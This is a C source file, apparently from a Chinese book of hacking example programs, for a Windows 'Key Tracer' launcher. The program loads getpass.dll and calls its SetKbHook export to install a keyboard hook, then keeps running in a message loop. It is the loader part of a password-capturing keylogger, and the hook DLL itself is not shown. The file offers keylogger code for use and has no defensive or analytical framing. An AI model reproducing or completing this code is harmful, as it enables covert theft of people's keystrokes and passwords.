ktrexe.c

来自「HACK编程实例精解附带的大量例子程序」· C语言 代码 · 共 40 行

#include "ktr.h"

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    	           LPSTR lpszCmdLine, int nCmdShow)
{

	MSG msg;
	char text[]="Error loading DLL!";
	char title[]="Key Tracer";
	BOOL error=FALSE;
	HINSTANCE	dllhinst;
	typedef VOID (CALLBACK* LPFNDLLFUNC1)(VOID);
	LPFNDLLFUNC1 lpfnDllFunc1;

	dllhinst=LoadLibrary("getpass.dll");
	if (dllhinst!=NULL)
	{
		lpfnDllFunc1=(LPFNDLLFUNC1)GetProcAddress(dllhinst, "SetKbHook");
		if (!lpfnDllFunc1)
		{
			FreeLibrary(dllhinst);
			error=TRUE;
		}
 	    else
		{
 		   lpfnDllFunc1(); 
		}
	}
	else error=TRUE;

	if (error)
		MessageBox(GetDesktopWindow(),text,title, MB_OK);

    while (GetMessage(&msg,0,0,0))
	{	TranslateMessage(&msg);
		DispatchMessage(&msg);
	};
    return msg.wParam;
}